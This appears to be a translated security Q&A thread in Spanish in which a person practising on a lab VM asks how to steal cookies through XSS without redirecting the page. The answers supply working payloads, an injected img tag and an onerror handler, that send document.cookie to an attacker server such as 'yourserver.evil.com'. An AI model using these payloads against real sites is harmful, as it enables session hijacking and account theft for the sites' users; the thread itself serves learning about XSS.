Robo de cookies XSS sin redirigir a otra página

18

Estoy practicando en VM siguiendo la guía OWASP. Sé que es posible robar la cookie al redirigir a la página "Falsa", etc., pero me gustaría robar la cookie sin redirigir a otra página.

Entonces, si tienes algún libro de visitas y luego pones:

document.location= "http://www.example.com/cookie_catcher.php?c=" + document.cookie

¿Cómo puedo colocar esto en una página existente sin redirigir?

Básicamente, lo que quiero es cuando alguien haga clic en el enlace, tome la cookie e imprímala en algún lugar de la página actual. Tal vez en alguna etiqueta alt o lo que sea.

¿Alguna idea?

    
pregunta Thomas 22.01.2014 - 19:23
fuente

2 respuestas

25

Si tiene el control total de la escritura de JavaScript en la página, simplemente puede hacerlo

document.write('cookie: ' + document.cookie)

Si desea que se envíe a otro servidor, podría incluirlo en una imagen inexistente:

document.write('<img src="https://yourserver.evil.com/collect.gif?cookie='+document.cookie+'" />')

La clave aquí es si puede generar JavaScript arbitrario o si está limitado en el tipo de JavaScript que puede ejecutar. Aunque si está limitado en lo que se puede obtener, podría usar métodos más avanzados para ejecutar su código personalizado, lo que está un poco fuera del alcance de la pregunta.

    
respondido por el Steve 22.01.2014 - 19:48
fuente
8

Para agregar a la respuesta de Steve, hay muchas maneras diferentes de lograrlo. Si su intención es que el usuario no esté al tanto de la cookie robada, sugeriría el <img> attack que Steve sugirió. Aunque prefiero evitar el document.write ya que usa tantos caracteres:

<img src=x onerror=this.src='http://yourserver/?c='+document.cookie>
    
respondido por el disk0nn3ct 23.05.2014 - 09:49
fuente

Lea otras preguntas en las etiquetas